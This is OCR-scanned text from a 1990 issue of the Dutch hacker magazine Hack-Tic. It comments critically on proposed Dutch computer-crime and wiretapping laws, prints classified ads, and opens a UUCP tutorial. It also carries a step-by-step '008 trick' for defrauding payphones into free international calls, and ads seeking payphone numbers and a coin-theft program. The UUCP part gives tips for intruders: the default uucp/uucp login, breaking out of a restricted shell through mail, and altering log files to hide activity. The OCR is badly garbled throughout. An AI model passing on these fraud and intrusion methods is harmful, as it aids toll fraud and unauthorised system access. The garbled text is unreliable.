2. Met dezelfde straf (6 maanden 
of geldboete vierde categorie, HT) 

wordt gestraft hij die gegevens die 
in een woning, besloten lokaal of 
erf, door middel van een geauto- 
mallseerd werk worden overge- 
dragen, met een technisch hulp- 
middel opzettelijk, zonder daartoe 
gerechtigd te zijn, eftept of op- 
neemt. 

Het eerste lid van dit artikel be- 
schermt het gesprek binnen de mu- 
ren van een woning, besloten lokaal 
of erf, Het nieuwe tweede Ed moet 
ook de telecommunicatie binnen de 
muren beschermen tegen opzettelij- 
ke afluistering of aftapping door 
middel van een technisch hulpenid- 
del. De oude term gesprek’ dekt na- 
melijk geen andere vormen van tele- 
communicatie. Deze wijziging bete- 
kent ook dat bijvoorbeeld het afluis- 
teren van lekstraling van beeldscher- 
men strafbaar wordt. Verderop in 
het artikel staat echter dat deze wet 
niet geldt voor het aftappen of opne- 

  

men van telecommunicatie door 
middel van de telecommunicatie-in- 
frastructuur (bijvoorbeeld het tele- 
foon-, telex- of datanetnet). 

Artikel 139b 
Beschermt telecommunicatie in 

cen "besloten ruimte”, waaronder 
blijkens de toelichting ook cen we- 
reldwijd computernetwerk van een 
bedrijf kan vallen, als de verbindin- 
gen lopen via de eigen middelen en 
kanalen van dat bedrijf (bijvoor- 
beeld eigen straal- of sattelictverbin- 
dingen). 

Artikel 139c 
a. Het eerste lid komt te luiden: 

1. Hij die door middel van de tete- 
communicatie-infrastructuur _ of 

door middel van daarop aangesto- 
ten randapparatuur overgedragen 
gegevens díe niet voor hem, mede 

voor hem of voor degeen in wiens 
opdracht hij handelt, zijn bestemd, 
opzettelijk met een technisch huip- 
middel aftapt of opneemt, wordt 
gestreft met een gevangenisstraf 
van ten hoogste een jaar of een 
geldboete van de vierde catego- 
rie, 

b. In het tweede lid komen de 
aanhef en het eerste onderdeel te 
luiden: 
2, Het eerste Hfd Is niet van toepas- 
sing op het aftappen of opnemen: 

1. van door middel van een 
radio-electrische ontvangin- 
tichting ontvangen gegevens, 
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tenzij om de ontvangst moge- 
lijk te maken een bljzondere 
inspanning !s geleverd of een 
niet toegestane ontvangin- 
richting Is gebruikt. 

Verder wordt in de overige delen 
van het artikel steeds telefonie ver- 

vangen door telecommunicatie, 
Dit artikel is hét ’afluisterartikel’. 

Ook hierin wordt de strafbaarheid 
van het afluisteren van gesprekken 
vervangen door het aftappen van te- 
Iecommunicatis. de toelichting zegt 
hier: Alle sigaalen in de ether zijn in 
principe vrij te ontvangen. Uitzon- 
dering vormen de gesprekken die via 
het normale telefoonnet worden 

voerd maar die ergens in de verbi 
door middel van een straalver- 

binding worden doorgegeven. De 
minister schrijft onder meer letter- 

tijk: “emand die telefoncert kan niet 

en behoeft niet te weten op welke 

wijze de PTT het door hem gevoerde 
gesprek overdraag!. (…) De teie- 
foongesprekken, gevoerd met toe- 

stellen dic fysiek zijn aangesloten op 
het telefoonnet, mogen niet worden 
afgeluisterd, indien zij ergens in het 
pad van overdracht via straalzenders 
worden overgedragen” 

Verder biedt de toelichting enige 
duidelijkheid omtrent het begrip 
“bijzondere inspanning’: "Zo za! ook 
het afluisteren van telefoongesprek- 
ken, gevoerd uit de auto (dus met 
behulp van een radio-electrische 
ontvanginrichting) niet strafbaar 
zijn, zolang, dit mct con enkele ont- 
vanginrichting plaatsvindt. Zou 
evenwel iemand besluiten door een 
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heel stelsel van ontvanginrichtingen 
die op eïkaar zijn afgesternd, stelscl- 
matig autotelefoonverkeer af te luis- 
teren, dan is dit een bijzondere in- 
spanaing in de zin van het voorge- 
stelde artikel en dus niet toegestaan.” 

"Evenzo is verboden het opvan- 
gen van telecommunicatie via de 
ether met behulp van niet toegestane 

omtvangapparatuur, De artikelen 

G.Lt. on G.12, vanhet besluit radio- 
electrische inrichtingen (Stb. 1988, 

552) bepaalt dat behoudens machti- 

gingsatelietontvangersen decodeer- 
‘apparatuur niet zijn loegestaan. Te- 
lefoonverkeer via satelieten is dus 
beschermd.” 

“De voorgestelde wijzigingen in 
de artikelen 139a tot en met 139 
hebben tevens gevolgen voor telkens 
heet laatste lid in deze artikelen, met 
name voor wat betreft de bevoegd- 
heden van de Binnenlandse Veilig- 

heidsdienst. Daar waar de strafrech- 
telijke bescherming van telecommu- 
nicatie wordt uitgebreid, is het no- 
dig, met inachtneming van de proce- 
‘durele waarborgen in deze artikelen. 
gegeven, de mogelijkheden van deze 
dienst in stand te laten om in het 
belang van de veiligheid van de staat 
kennis te nemen van bepaalde aldus 
overgedragen gegevens.” 

Hier worden zin en onzin op ge- 
niale wijze met elkaar verweven. De 
minister maakt zich hier terecht be- 

zorgd over de mogelijkheid om met 
een netwerk van ontvangers hele net 
werken te overzien en zo dus alle 

gesprekken op te vangen. Het op- 
vangen van autotelefoongesprekken. 

 



wordt niet strafbaar gesteld, maar 
het georganiseerd opvangen van 
ALLE _ autolelefoongesprekken 
wel. Het lijkt ons correct gerede- 
neerd dat het opvangen van alle ge- 
sprekken het vel makkelijker maakt 
om ook alle gesprekken van cen of 
meerdere abonnees af te luisteren. 
Dezelfde mogelijkheden gelden 
voor het georganiseerd afluisteren 
van straalverbindingen. 
Maar juist nu wordt cen uitzonde- 

ring gemaakt voor de enige dieast 
die de mankracht, het geld en de 
perversitelt in huis heeft om zo'n 
project ook werkelijk uit te voeren, 
de BVD. Juist een dienst als de BVD 
is wat betreft het afluisteren van te- 
Iefoongesprekken albijzander moei 
lijk (of helemaal nict) te controleren. 
De BVD mag officieel alleen tele- 
foongesprekken afluisteren met toe- 
stemming van de Minister-President 
en de ministers van Algemene Za- 
ken, Binnenlandse Zaken en Ver- 
keer en Waterstaat, Deze toestem- 
ming is dan 3 maanden geldig. 

Als we de BVD uitdrukkelijk de 
bevoegdheid geven om door middel 
van een cigen netwerk bijna alle in- 
terlokale telefoongesprekken en alle 
autotelefonie op te vangen kunnen 
we met de farce van parlementaire 
controle wel helemaal opbouden: de 
dienst heeft dan helemaal geen me- 
dewerking van de PTT of wie dan 
ook meer nodig en kan "preventief" 
maar gelijk de hete bevolking afluis- 
teren. Wie gelooft dat de BVD ict 
van de haar op deze manier geboden 
togelijkheden gebruik gaat maken 

   
   

(cq, al lang maakt) ie knettergek of 
erg naief, 

Artikel 139e 
Het eerste lid stelt strafbaar het 

bezit van een voorwerp waarop, naar 
hij wect of redelijkerwijs moet ver- 
moeden, gegevens zijn vastgelegd 
die door wederrechtelijk afluisteren, 
aftappen of opnemen van cen ge- 
sprek, telecomnmnicatie of andere 
gegevensoverdracht door een geau- 
tomatiscerd werk zijn verkregen. 
Met een beetje fantasie is dit dus 
toepasbaar op een sysop van ecn 
BBS dte (wellicht zonder dat hij het 
weet) informatie op zijn systeem 
heeft staan die wederrechtelijk is ’af- 
getap!’. Het gaat hier om een gevan- 
genisstraf van maximaal zes maan- 
den of een geldboete van de vierde 
categorie. 

Het tweede lid stelt het opzeite- 
lijk aan anderen bekend maken van 
zulke gegevens strafbaar. 

Artikel 16tsexles 
Hij die opzettelijk enig geautoma- 
tiseerd werk voor opslag of ver- 
werking van gegevans of enig 
werk voor telecommunicatie ver- 
nleit, beschadigt, of onbruikbaar 
maakt, stoornis In de gang of in de 
werking van zodanig werk veroor- 
zaakt, of een ten opzichte van zo- 
danig werk genomen vellighelds- 
maatregel verijdelt, wordt gestraft: 

Lees verder op pagina 34 
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Gratis bellen in 

The Key en 

  

  

Nahet eerste deel, waarin cen me- 
{hode om gratis te bellen met een 
toondialertje In de schaarse tele- 
feoncel die dan niet begreep dat dat 
geld kostte (zie Hack-Tic 2) en het 
tweede deel dat eem methode be- 

schreef om door middel van een klef- 
ne chirurgische Ingreep onder in de 
kast van de telefooncet gratis te bel- 
tens hier de voorkoplge climax la de 
serie: Hack-Tic presenteert 'de 00B- 
truok’, 

Sinds er in telefooncellen geen 
(verbrande restjes) telefoonboeken 
meer hangen is het vanuit bijna alle 
openbare telefooncellen in Neder- 
land mogelijk om gratis 008 te bellen. 
Je moet dan wel eerst geld inwerpen, 
maar het bedrag blijft staan, Het bel- 
ten van 008 genereest echter wel de- 
gelijk kostentikken en dus moet er in 
de cel iets zitten dat die kostentikken 
negeert als er 008 gekozen is, 

Bij veel cellen die op cen 
toon(/TDK)centrate hangen is het 
mogelijk om via de hoorn met cea 
memokiezer (ook wel DTMF-dialer, 
zie verder) het gewenste nummer te 

kiezen. Maar wat had jeer aanalsdie 
cel daarna toch om geld begon te 
zeuren? 

Alsje echter geld inwerpt, daarna 
met de dialer het gewenste nummer 
belt en dan (voor de eerste kostentik 
binnenkomt) 008 intikt op het tact- 
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r Poelman onthullen d, 

cellen deel III 

  008-truuk” 

  

senbordje van de cel zelf dan denkt 
de cel dat je met 008 belt terwijl jij 
ondertussen met de VS aan de lijn 
hangt. De cel negaert vervolgens alle. 
binnenkomende kostentikken (en 
heeft geen argwaan als het er 2000 
zijn)! Ergo: na cen internationaal ge- 
sprek van 2 uur krijg jij jo kwartje 
weer terug, 

Deze truuk werkt niet: 

© Als de cel op cen pulscentralo is 
aangesloten (of de cel zelf puls- 
kiest maakt niet uit) 

e Als het een kaartcel betreft. Dit 
omdat kaartoellen het microfoon- 
tie afsluiten voordat er een ver- 
binding tot stand is gekomen. 

e Als ze er al iets aan gedaan heb- 
ben. 
De nare kant van dit verkaak: de 

PTT heeft door dat er lets niet in de 
haak Is. Wat konden ze doen: 
© Alle cellen zo instellen dat ODS 

niet meer gratis te bellen is. Dit is 
makkelijk te doen daar het binnen 
in het apparaat cen kwestie is 
een ander jumpertje op de print. 
Het nadeel van deze strategie ìs 
dat het irritaties bij de klant ople- 
vert (zeker als zijhij maar 1 
kwartje op zak heeft) en de PTT 
niet nog meer afbreuk aan haar al 
zo klantvriendelijke imago kan 
gebruiken, 

  

 



® Bij afie cellen de microfaon blok- 
keren voordat het gesprek begint. 
Hoewel het 1 extra diode in de cel 
betreft is dit VEEL werk als je het 
vermenigvuldigt met het aantal 
telefooncellen in Nederland. 
Bij alle cellen de toonkiesmoge- 
lijkheid uitzetten in de centrale. 
Op cen moderne centrale kan na- 
melijk de toonkiesmogelijkheid 
voor één specifieke lijn worden 
uitgezet (dat deden ze vroeger 
ook als je nict betaalde voor cen 
PTT-TDK taestel), Dit is dan ook 
de tot nu toe in enkele grote ste- 
den door de PTT gevolgde stratc- 
gie, Hoewel een nadeol is dat de 
paar cellen die 'op toon kozen’ 
weer terug op puls moeten wor- 
den gezet neemt men dit waar- 
schijnlijk maar voor lief, 

Met andere woorden: tref je cen 
eel die niet luistert naar de hem in- 
gefluisterde DTMF toontjes dan kon 
het weleens zijn dat ome PTT je voor 

is geweest in welk geval je op zoek 
moet naar een andere cel (er staan 
er nog genoeg!) 

Hoe kom je aan zo'n toonkiezer? 
gewoon kopen voor een paar tientjes 
(niet meer dan 30 gulden betaten) bij 
een niet-PTT telefoonwinkel, Als je 
een zo compkeet mogelijke lijst wilt 
hebben waarin staat welke cellen op 
welke manipulatiemethoden reage- 
ren zou je kunnen schrijven op de 
advertentie van -RPE- die nu in 
Hack-Tichekjesstaat (pagina 39). Je 
moet dan wel eerst zelf even de straat 
op om de cellen bij jou in de buurt te 
onderzoeken! 
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-_ 1. met gevangenisstraf van ten 
‘hoogste zes maanden of geld- 
boete van de vijfde categorie, 
indlen daardoor verhindering 

of bemoeblijking vande opslag 
of verwerking van gegevens 
ten algemenen nutte of stoor- 

nis in de talecommunlcatie-in- 
frastructuur ontstaat; 

- “2 met gevangenisstraf van ten 
hoogste zes jaren of geldboe- 
te van de vijfde categorie, In- 
dien daarvan gemeen gevaar 
voor goederen of voor de ver- 
lening van diensten te duchten 
ds; 

-_3. met gevangenisstraf van ten 
hoogste negen Jaren of geld- 
boete van de vijfde categorie, 
indien daarvan levensgevaar 
voor een ander te duchten is; 

-_4, met gevanganisstraf van ten 
hoogste vijftfen Jaren of gald- 
boete van de vijfde categorie, 
indien daarvan levensgevaar 
voor een ander te duchten Is 
en het fait lamands dood ten 
gevolge heeft. 

Artikel 161septies 
Hijaan wiens schuidte wijten isdat 
enig geautomatiseerd werk voor 
opslag of verwerking van gege- 

vens of voor telecommunicatie 
wordt vernield, beschadigd, of on- 
bruikbaar gemaakt, dat stoomis in 
degang of de werking van zodanig 
werk ontstaat, of dat een ten op- 

zichte van zodanig werk genomen 
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velilgheidsmaatregel wordt verwij 
derd, wordt gestraft: 

- 1. met gevangenisstraf of 

hechtenis van ten hoogste 
drie maanden of een geldboe- 
te van de vierde categorle, In- 
dlen daardoor verhindering of 
bemoallijking van de opslag of 

verwerking van gegevens ten 
nutte, stoomis inde 

telecommunicatte-Infrastruc- 
tuur, of gemeen gevaar voor 

goederen of voor de verlening 
van diensten ontstaat. 

- 2. met gevangenisstraf of 
hechtenis van ten hoogste zes 

maanden of een geldboete 
van de vierde categorie, ín- 
dien daardoor levensgevaar 
voor een ander ontstaat, 

- 8. met gevangenisstraf of 
hechtenisvanten hoogste een 
jaar of geldboete van de vier- 
de categorie, Indien het felt le- 

mands dood tot gevolg heeft. 

Het komt er dus op neer dat 
161sexies is voor opzettelijk vorsto- 
ren van de telecommunicatie en 
16isepties voor degene aan wiens 
schuld het te wijten is. De minister 
zegt in zijn toelichting overwogen te 
hebben alleen op zich al strafbare 
verstoringen van de telecom met 

deze artikelen strafbaar to maken, 
zodat bijvoorbeeld een staker bij de 
PTT nict met deze welten te maken 
krijgt, maar, zo zegt hij: “De moder- 
ne samenleving is echter ir toenc- 
mende mate afhankelijk van het on- 
gestoord functioneren van voorzie-



ningen als die van de telecommuni- 
catie-infrastructuur. Daarnaast ma- 

ken de ontwikkelingen in de tech- 
niek het steeds meer mogelijk ook 
met geringe inzet van personeel toch 
de telecommunicatie-infrastructuur 
te laten blijvea fuactioneren.” 

Hetlijkt ons dat het personeel van 
de PTT hier wel een hele zware tol 
betaalt voor de automatisering, cen 
staking heeft immers weinig zin als 
niet bepaalde onderdelen van de te- 
Tecoramunicatie-infrastructuur kun- 
nen worden verstoord. Daar ook 
niet-strafbare verstoringen van de 
telecommunicatie-infrastructuur 
strafbaar zijn is het wel de vraag in 
hoeverre de PTT-top zelf immuun is 
voor vervolging. Als voorbeeld de 
grote ‘Henny-Huisman-telefoonsto- 
ring’ van een aantal jaren geleden. 
De PTT-top liet hier het te verdie- 
nen geld prevaleren boven het func- 
tioneren van het telefoonnet. Aange- 
zien hier mensenlevens in gevaar wa- 
ren zou de verautwoordelijke PTT- 
topman dus maximaal zes maanden 
gevangeniskunnen krijgen. Goed, zo 
ver zal het wel niet komen. 

Het is natuurlijk wel eng dat een 
hete simpele manoeuvre bianen de 
computers die het telefoonnet bestu- 
ten al snel als cen levensgevaarlijke” 
situatie wordt gezien. Het is hier 
vooral een zaak van definities: ver- 
spreiding van kennis omtrent de 
werking van het telefoonnet moet 
niet als strafbaar eu gevaarlijk gezien 
gaan worden, beveiligingen van di 
soorl systemen moeten zeker niet go- 
bascerd zijn op onwelendheid aan 

  

de kant van de indringer, want de 
mensen die het werkelijk willen we- 
ten komen er toch wet achter hoe het 
allemaal werkt, 

Artikel 232 
1. HIJ die opzettelijk een betaalpas 
of waardekaart bedoeld voor het 
verrichten van betalingen langs 
geautomatiseerde weg, valselijk 
opmaakt of vervalst, met het oog- 
merk zichzelf af een ander te be- 
voordelen, wordt gestraft hetzij 
met een gevangenisstraf van ten 
hoogste zes jaren en ean geldboe- 
te van de vijfde categorie, of met 
een van deze straffen. 

2. Met dezelfde straf wordt gestraft 
hij die opzettelijk een betaalpas of 
waardekaart ten aanzien waarvan 
hat misdrijf fs gepleegd, bedoeld 
afs in het eerste Id, gebruikt afs 
ware hij echt en onvervalst. 

In de toelichting onder meer de 
klassieker: “De wenselijkheid om 

een bijzondere bepaling op te nemen 
vindt zijn weerslag daarin dat som- 
mige betaalkaarten of waardepassen 

ijn ingericht dat deze veelvuldige 
wijzigingen kunnen ondergaan, bi 
voorbeeld met het oog op de indica- 
tie van het tegoed dat de betrokkenc 
nog op een rekening heeft staan.’ 

Wij zouden graag van de minister 
vernemen welke kaartexptoitanten 
nog zo stom zijn om het tegocd van 
de klant in de magnetische informa- 
tie op de kaart zelf te schrijven. 
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Artikel 350a 
Hij die opzettelijk en wederrechte- 
ijk gegevens die door middel van 

een geautomstiseerd werk zijn op- 

geslagen, worden verwerkt of 
overgedragen, verandert, wist, on- 
bruikbaar of ontoegankelijk maakt, 

dan wel andere gegevens daaraan 

toevoegt wordt gestraft met 
gevangenisstraf van ten hoogste 
twee jaren of geldboete van de 
vlerde categorie. 

Hier is het dus van belang de klei- 
ne lettertjes te lezen. Bij al te letter- 
lijke interpretatie is het inloggen op 
veel computersystemen dus op zich 
niot alleen een overtreding van het 
voorgestelde artikel 138a (zic al- 
daar) maar ook van dit artikel, aan- 
gezien je immers in veel gevallen iets 
toevoegt aan de log-file. Het moet 
duidelijk zijn dat gegevens hier niet 
de log-file of andere, duidelijk 'zich- 
zelf automatisch veranderende files 
betreft. 

Dan nu de voorgestelde wijzi- 
gingen in het wetboek van strafvor- 
dering, Dit wetboek rege onder an- 

  

dere en en beperkingen van 
de politie bij haar taak. 

Artikel 125f/g/h 
Regelt het gerechtelijk aftuiste- 

ren van telecommunicatie (en dus 
niet alleen telefoongesprekken). 

Artikel 1251 
1. Tijdens hat gerechtelijk vooron- 
derzoek kan de rechter-commis- 

Hack-ric #11-12/1990 

saris het bevel geven dat hij van 
wie redelijkerwijs kan worden ver- 
moed dat hij toegang heeft tot be- 

paalde gegevens die kunnen die- 
nan om de waarheid aan de dag te 
brengen, deze gegevens, voor zo- 
ver deze zijn opgeslagen, worden 
verwerkt of overgedragen met ge- 

bruikmaking van een geautomatt- 
seerd werk, zel vastleggen, hem 

daartoe toegang za! verlenen of 
naarde griffie van de rechtbank zal 
overbrengen een en ander binnen 
de termijn en op de wijze bij het 
bevel te bepalen. 

2. Het bevel kan slechts betrekking 
hebben op gegevens 

-_1. die door de verdachte zijn 
ingevoerd, voor hem zijn be- 
stemd, voorwarp van hat straf 
baar felt uitmaken of tot het 
begaan daarvan hebben ge- 
diend, 

= 2. waarover de verdachte de 
beschikking heeft of 

-__3. die een beschrijving geven 
van handelingen dla de ver- 
dachte met betrekking tot een 
geautomatiseerd werk heeft 
verricht. 

3. Het bevel wordt mondelijk of 
schriftelijk gegeven. In het laatste 
geval wordt het betekend. 

Dit is een geheel nieuw artikel dat 
aan de rechter-commissaris tijdens 
een gerechtelijk vooronderzoek de 
macht geeft om gegevens die in cen 
computer zijn opgeslagen op te ci- 
sen, Het betreft nict alleen de gege-



vens van de verdachte zelf maar alle 
gegevens die hij tat zijn beschikking 
heeft, In het geval van bijvoorbeeld 
een Bulletin Board Systeem kan dit 
dus alle publieke files betreffen. 

Verder kunnen logfiles opgeeist 
worden. 

Artikel 125} 
1. In geval van een huiszoeking 
kan In een elders aanwezig geau- 
tomatiseerd werk onderzoek wor- 
den gedaan naar gegevens die 
kunnen dienen om de waarheld 
aan de dag te brengen. Worden 
dergelijke gegevens aangetroffen 
dan kunnen zij worden vasige- 
legd. 

2. Het onderzoek kan slechts wor- 
den gedaan, indien san dergelijk 
geautomatiseerd werk vanaf de 
plaats waar de huiszoeking wordt 
gedaan op rechtmatige wijze toe- 
gankelijk Is voor de personen die 
aldaar wonen, plegen te werken of 
te verblijven. 

f) 
In de toelichting staat ’op recht- 

matige wijze toegankelijk’ verduide- 
lijkt als: “Hier moet echter een ver- 
taalslag worden gemaakt. Toegang 
tot elders zich bevindende geauto- 
matiseerde werken is ìn de rege! ver- 
leend aam bepaalde personen die tot 
toegang zijn geautoriseerd, bij voor- 
beeld met behulp van een PIN-code. 
Detoegangis dusgebonden aan per- 
sonen en niet aan locaties. Verder 
zijn vanaf een locatie in beginsel alle 

  

geautomatiseerde werken die via de 
telecommunicatie benaderbaar zijn, 
toegankelijk.” 

Dit is ons inziens het gevaarlijkste 
artikel in de hele nieuwe wetgeving. 
Het maakt het mogelijk om bijvoor- 
beeld BBSen te onderzoeken dic 
met het hele misdrijf niets van doen 
hebben met als enige rechtvaardi- 
ging dat de verdachte ze wellicht ge- 
bruikte als communicatiemiddel. Dit 
iste vergelijken met het doen vaneen 
inval bij de PTT als iemand hun tele- 
fooncentrales gebruikt om een 
daad tc plegen. Gevolg zal onvermij 
delijk zijn dat sysops van BBSen zich 
genoodzaakt zien om censuur toe te 
passen op hun systeem om maar 
geen last te krijgen. Verder is het de 
vraag of sysops het nog aandurven 
‘om de prive-post van hun gebruikers 
niet te lezen, aangezien ook prive- 
berichten onder deze wetgeving vat- 
ten, Het is niet te doen om met een 
kudde politiemensen bij eea sysop 
binnen te vallen en ‘gegevens vast tc 
leggen’ zonder daarbij de privacy 
van de andere gebruikers van het 
systeem (die met het hele misdrijf, 
net als de sysop zelf, niets van doen 
hebben} ernstig aan te tasten. 

Ht is verder maar te hopen dat 
deze wet niet gebruikt gaat worden 
‘om”lastige” BBSen de mond te snoe- 
ren: als je de politie regelmatig over 
de vloer hebt of ‘even’ je systeem. 
voor onderzoek kwijt bent is het op 
zijn zachtst gezegd lastig om een 
BBS te runnen. Lees ook het artikel 
van Errmanuel Goldstein (elders in 
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deze Hack-Tic) over de ellende die 
wit dit soort wetten kan voortkomen. 

Artikel 125k 
Voor zover het belang van het on- 
derzoek dit bepealdelijk vordert, 
kan bij aen huiszoeking af bi toe- 
passing van artikal 125 totdegeen 
van wie redelijkerwijs kan worden 

vermoed dat hij kennis draagt van 
de wijze van bevelging van een 
geautomatiseerd werk, het bevel 
worden gericht toegang te ver- 
schaffen tot de aanwezige geauto- 
matisaarde werken of delen daar- 
van. Dageen tot wie het bevel Is 
gericht, kan hleraan gevolg geven 
door de kennis omtrent de beveli- 
ging ter beschikking te stellen. 

Dit wil dus bijvoorbeeld zeggen 
dat een beheerder van een systeem 
gedwongen kan worden eventuele 

wachtwoordbevciligingen en/of co- 
deringen ongedaan te maken, Je 
kunt voor het niet gehoorzamen aan 
dit bevel 3 maanden in de gevangenis 
belanden of cen geldboete van de 
tweede categorie krijgen. 

Artikel 1251/m 
Dete artikelen regelen onder 

meer dat de artikelen 125i en 125k 
niet kunnen worden toegepast op 
mensen met cen beroeps, ambts- of 
standsgeheïen en zit op de verdach- 
te zelf (die immers volgens de wet 
niet hoeft meo te werken aan zijn 
eigen veroordeling). 
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Artikel 125n 
Gegevens die ziet van belang zijn 

voor het onderzoek moeten worden 
vernietigd, en een proces-verbaal 
van deze vernietiging wordt bij de 
processtukken gevoegd. 

Artikel 592 
Kosten van het uitleveren of over- 

brengen van informatie ingevolge 
een bevel van de rechter-commissa- 

ris of van de officier van justitie wor- 

den door de staat vergoed. 
Als laatste ook de wijzigingen in 

het burgerlijk wetboek. 

Artikel 391 
Wordt zodanig gewijzigd dat een 

jaarverslag van een onderneming nu 
‘ook een verklaring omtrent de veilig- 
heid van de computersystemen moet 
bevatten. Zo zouden directies go- 

dwongen worden cven stilte staan bij 
computerbeveiliging. 

Dit was een greep uit de voorge- 
stelde wetten. Het is belangrijk om je 
stem te laten horen voordat we hier 

cen klimaat hebben waarin mensen 
mel modems maar beter hun mond 

kuanen houden. Keep on hackin’



  

# Phreaker opgelet! Help mo: 

  

verzameling telefooncellen. Wat ik 
zoek Ie gegevens zoals tokatle,oel- 
nummer, noort cet {gewoon of drle- 
hoek), soort toestel (gewoon, kaart, 
eredlt card, metalen of kwactjesvan- 
toc), kleasyatoem van het toestel 
oon of puls) en of de microfoon Is 

  

len. Gaarne sturen naar Postous 
3386, 3003 A Rotterda. Eventuele 
disk stuur Ie terug met huidige ver- 
zamelingl). Ik za ock regeïmelig de 

loeden Rebelbox. -RPE- 
We weet hoe jo een telefooncel kunt 
beken. De PTT geh tos dat het kan 

(008 ontkent hat echter), maar ze wit- 
len de nummers niet vrijgeven. (Eike 
cel heeft een elgen regiskatleoode, af 
te lezen onder het 06-41 nummer). 
Voor reactie, aohrijf of bel: Mark A. 
Murkes, Erssmnuutrant 60, 7412 DA 
Deventer. Telefoon: 03700-18907, 
jpeftvoor mijhet programmaom 

de euros van thlef In de tikken? Ofwie 
heeft sen runnend progr. van de 
thief? Opsturen naar Erik Bals, Diepe 
Steeg 40, 2904 CD De Steeg (Gld). 

_Verzendkgsten worden vergoed. 
# kben op zoek naar moor Informatie 

var de CODEX L.8.196 V29 Modem 
{mauals etc). Rulimatertaal/verg 
ding mogelijk. Udo van den Heuvel, 
Molenstraat 27, 4285 AA Woudri- 
chem. 
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# Belook - 
poide Clinlo Haok/Phroak BBS 

# Een moord per computer… Is dat 
mogelijk? Leen het In het boek 'Rekt 
nlet op ons’ van Daniët de Rouk 
Hack-Tlo lezers kunnen het voor da 

epeciale prij van 13,50 bestalen op 
gironummer 2424940 tnv. Ravijn, 
Amsterdam o.v.v. Reken nist op ons. 

#_ Deze reductiebon levert 2,50 korting 
op als je naar de HCC-beurs gaat. Wij 
staan op stand Ke7.5. Dit Jaar 
HCC-beurs dus eindelijk waer 
de moeite waard! Coplear deze bon 
vaar al je vrienden. 
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UUCP, what's in it for me ? 

Doel van dit artike: de hacker die al ang verstand hoeft van UNIX verder bekend te maken 
moet UUCP (eproek uit: joe-Joc-ale-pie). Als Je nlet weet wat UNIX Is, gool dan dl artikel weg 
en ker beelen. 

UUCPstantvoor Unixto Unix CoFy. UUCP (met hoofdteiters)is cen verzameling program: 
ma's dio het mogelijk maken informatie uitte wisselen tussen verschilende UNIX-gystemen. Je 
kuat o.a. Giles witwisscten, commando's op andere systemen ultroeron, en post versturen over 
de gehe wereld. Verder kun je ook naar andere (non-UNDOsystemen vitbellen, en jo kunt 
gebruik maken van informatie-sctwerken als USENET. 

Het leuke van UUCP is,dat het standaard op iedere UNIX aanwezig Is. UNIX zou UNIX 
niet zijn, als er ook hier weer geen verschillende versies van bestonden, de bekendste zijn de 

BNU(basie networks wrils)-Verzie en de vernlan-2 versie. Ze verschillen nlet zoveel. Alsje niet 
zeker weet met welke verse ete maken bebt, kijk dan cens la directory fusib/uucp. Als ereen 
bestand met de naam 'oystems' aanwezig Is, dan heb je te maken mot BNU, aat ereen bestand 
dat Lays heet, dan heb je te maken me version. 

Deinfoin ditartikel |s wtgetest op system V en BSD 43,de twee meest bekende UNIX-a- 
versen, maar het kan zijn dat jouw systeem weer net iels anders werkd, zo rotzooien mear aan in 
coraputecland.. Hier volgen wat vitdrakidngen die Je zat tegeakomen als je je wat meer In 
UUCP/UNIK verdiept: 
BNU _ Basie Networking Utilities. Ben bundel communleatieprogramma's 
daemon cen programme dat 'n de achtecgrond' draait 
zode _ cen ander systeem op cen nelwerk, een eindstation 
remote de naam zegt het al het systeem waarmee je contact wi opaemen 
muclco speciale sell voor uacp, hierin beland je vaak afs Jo inlogt met uucp, password wucp. 
UUCP In hoofdletters: de UNIX metworking uilities 
waep In klene letters: et programa Unis-to-Unix-CoPy. 

UUCP inleiding. 
‚n deslag gean, Is hef eerst handig om eca paar conmando'ste kennen: deze 

op iedere UNIX standaard aanwezig: 
mail UNIX mall faclity om berichten te sturen naar aadere gebruikers op een UUCP 

netwerk. 
cu hiermee kon je vitbellen naar andere systemen, en tegelijkertijd lngelogd blijven 

‘op je lokale systeem. (op BSD heet co trouwens tip) (Noot: dit commando ie vaak 
(miet atijd) afgeschermd voor normale users, maar natuurlijk niet voor zool) 

wucp __ Met dit commando kun Je remote fletransiers witvoeren, nucp maakt Mes aan die de 
transfer beschrijven (‘work files) en roept dan de uuelco daemon aan om het die 
transter wit te voeren. 

vur ___ (Unix to, UnixeXecude) taat je commando's op cen remote systeem uitvoeren. (lot 
op zekere hoogte dan, de meeste ‘nuttige’ commaado's zijn disabied) 

uuname Geeft je de namen van alle andere systemen die zan jouw netwerk vastzitten. Als je 
de naam van de computer waar je zelf opzit niet weet (kaan voorkomen nietwaar), 
krijgJe die te zien met aunarne +. 

walog _ Laat je het uocp-Jogfie zien van ecn remote systeem. (ledere UUCP-actle wordt a. 
ook gelogd.) 

uwstat _ Laat je de status van Je zuw-requcsts zien. Ook kun je klermee de inhoud vande 
UUCP-queue vernaderen. 
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System V kent nog twee extra programmas: 
uto __ Hiermee kun je fles naar een andere veer sturen, ongeveer net zoicte als het raalt-com- 

maado. 
rmee kun je filer lezen die naar Jow toe zijn gezonden met het uuto-cormando. 

  

BSD 4,3 wilde nlet achterblijven, dus die kent er aak twe extra: 
uug Hiermee kun je UUCP-jobs bekijken en veraaderen, lijkt een op zys-V's wapick program- 

ma 
wusend _Netzoiets als uuto op eys-V, Je kunt Mes versturen naac andere systerten. 

Zo,de 

  

is hebben we gefnd, nu de modems uit de kast en aan de 

  

uuname 
Dit is de gemakkelijkste : gewoon uename intikken en het systeem spuug een lijst ult van 

alle temen dle aan jouw netwerk hangen. Sta je op die madere systemen ook In de userijst, 
dan kun Je vanaf jouw systeem bv Inloggen met rlogin (syatsse rlogin <hostnaan>, zonder 
passwa 1 

    

mall 
Met mail (de naam zegt het al) stuur je berichten naarandere gebruikers. Niet echt bruikbaar 

voorde gemiddelde kacker, tenzij Je uit een shell wik breken (mal aan jezelf sturen en met Ish 
breek je uit Je shel). 

Je kunt ook een berichtje van root aan andere gebruikers sturen. Watch It : zenden van mail 
naar andere systemen wordt gelogd! Bovendien: het staat altijd cen beetje slordig als een 
account, dat alleen wordt gebruikt door de 65-jarige tante van de direkteur opeens mail uit alte 
hoeken van de aardbol krijgt. Oplossing: logfile veranderen, maar daar heb Je meestal root- 
ptivs voor nodig. Stel, je wilt mail sturen aan ene Bush op een systeem dat Pentagon heet dan 
doe je dat als volgt: 

mail Pentagonlbush 
Hallo Kr. Bush, just wanted to say that 1 liked your hair. 
I bet your wife does your kai huh 7 Tough Job 1 suppose. 
Love, The Dude “D_ (Dit is cen control-D, end-of-fide teken In UNIX) 

Boven de mail komt altijd je systeemnaam, accountraam etc. te. dus pas goed op, want 
